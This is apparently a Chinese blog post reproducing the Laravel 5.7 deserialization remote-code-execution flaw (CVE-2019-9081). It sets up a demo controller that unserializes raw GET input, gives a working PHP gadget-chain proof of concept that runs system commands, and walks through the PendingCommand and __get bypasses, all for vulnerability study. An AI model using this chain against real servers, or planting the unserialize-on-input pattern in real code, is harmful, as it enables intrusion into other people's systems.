目录???????
简介:
环境部署:
分析:
参考文章:
简介:
和yii一样,Laravel也是一套简洁、优雅的PHPWeb开发框架(PHP Web Framework)。
?在laravel框架中没有找到合适的触发点,因此需要对基于laravel v5.7框架进行二次开发的cms进行再次审计,寻找可控的反序列化点,才能触发该漏洞。
环境部署:
去github上下载文件:
https://github.com/laravel/laravel/tree/5.7

下载的文件放在phpstudy的WWW目录下,由于没有vendor目录,需要在根目录执行命令:
composer install

我们需要自己构造一个漏洞demo,用作poc的验证。?
?构造一个反序列化的利用点,在routes/web.php里面加一条路由:
Route::get('/unserialize',"UnserializeController@uns");
在App\Http\Controllers下面写一个控制器UnserializeController.php文件:?
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function uns(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "uns";
}
}
分析:
使用的poc:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
在laravel v5.6和laravel v5.7的vendor/laravel/framework/src/Illuminate/Foundation/Testing 文件夹中


可以发现,v5.7版本多了一个PendingCommand.php 文件,这个文件的主要功能是用作命令执行,并且获取输出内容。
查看PendingCommand.php文件内容,发现:

PendingCommand.php 文件定义了PendingCommand 类,该类存在__destruct 方法,大牛说过,__destruct 永远是反序列化漏洞的最佳攻击点。因为$this->hasExecuted 默认是false的,所以可以直接进入run方法。

跟进run()方法:

在run 方法的头顶的注释中,赫然写着Execute the command.。
发现一行代码(目的代码):
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
其中app、command和parameters是我们可控的,


?那么 攻击思路就很明显了,通过反序列化触发PendingCommand 类的__destruct 析构函数,进而调用其run 方法实现代码执行。
$this->app; //一个实例化的类 Illuminate\Foundation\Application
$this->test; //一个实例化的类 Illuminate\Auth\GenericUser,用于返回一个数组。
$this->command; //要执行的php函数 system
$this->parameters; //要执行的php函数的参数 array('id')
?但是在进入我们所需要的目的代码时会先经过 $this->mockConsoleOutput();
跟进$this->mockConsoleOutput():

?使用Mockery::mock 实现对象模拟,代码看不懂,跟着feng师傅操作一下:
先构造poc
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct(){
$this->command="phpinfo";
$this->parameters[]="1";
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
报错:
Trying to get property 'expectedOutput' of non-object
打一下断点,发现是mockConsoleOutput()方法的这里:
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
跟进$this->createABufferedOutputMock()

?又使用Mockery::mock 实现对象模拟?,其他的不重要,看foreach里面,要求获取$this->test 这个类中的expectedOutput 属性,并且遍历该属性。报错的原因就是因为$this->test 没有expectedOutput这个属性,跟进一下这个属性,发现这个属性在trait InteractsWithConsole 中,而trait类我们没法实例化,在其他我们可以实例化的类中,也没有一个类存在expectedOutput 属性,此外就只有一些测试类有这个属性,因此这里就卡住了。
但我们仔细看看这段代码会发现,我们的目的只是走通这段代码,顺利执行,不报错,不产生异常就行。我们需要的只是一个返回内容而已,只要有返回内容,使得代码进入循环流程我们便能走通这段代码。我们发现这里只要能够返回一个数组代码就可以顺利进行下去。同时,this->test我们可控

并且:?
读取不可访问属性的值时,__get()?会被调用。

?因此我们可以利用__get 魔术方法来返回我们需要的内容。全文搜索__get() 方法
这里选取的是Illuminate\Auth\GenericUser 类
地址:
vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php


?这个attributes是我们可控的,因此我们可以构造$this->attributes为下标名 为expectedOutput 的数组。把$this->test反序列化的时候设置为GenericUser类,这样一来$this->test->expectedOutput 就等于GenericUser->expectedOutput,因为GenericUser这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$key='expectedOutput',那么会返回$this->attributes 中下标名为expectedOutput 的数组。$this->createABufferedOutputMock() 的代码也就顺利走通了。
$this->attributes['expectedOutput']=['hello','world'];
回到PendingCommand 类的mockCOnsoleOuptput方法当中:

?我们发现foreach这段代码有着类似的语句,使用和$this->createABufferedOutputMock() 同样的绕过办法,在$this->attributes 中定义下标名为expectedQuestions 的数组即可。?
$this->attributes['expectedQuestions']=['hello','world'];
这样我们就能顺利地把$this->mockConsoleOutput()走通了。
回到我们的目的代码:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
剩下的关于this->app[Kernel::class]的知识,现在还不太理解,下次一定解决:
在走通$this->createABufferedOutputMock() 代码的时候还可以用DefaultGenerator.php中的DefaultGenerator类。
地址:
vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
因为$default可控,因此我们可以构造$this->default下标名 为expectedOutput 的数组。把$this->test反序列化的时候设置为DefaultGenerator类,这样一来$this->test->expectedOutput 就等于DefaultGenerator->expectedOutput,因为DefaultGenerator这个类没有expectedOutput变量,那么就会调用他的__get()方法,因为调用,所以$attribute='expectedOutput',那么会返回$this->default 中下标名为expectedOutput 的数组。$this->createABufferedOutputMock() 的代码也就顺利走通了。
参考文章:
laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree's Blog
??????laravel5.7 反序列化漏洞复现_feng的博客-CSDN博客
Laravel5.7反序列化RCE漏洞分析_zhangchensong168的博客-CSDN博客_laravel漏洞
|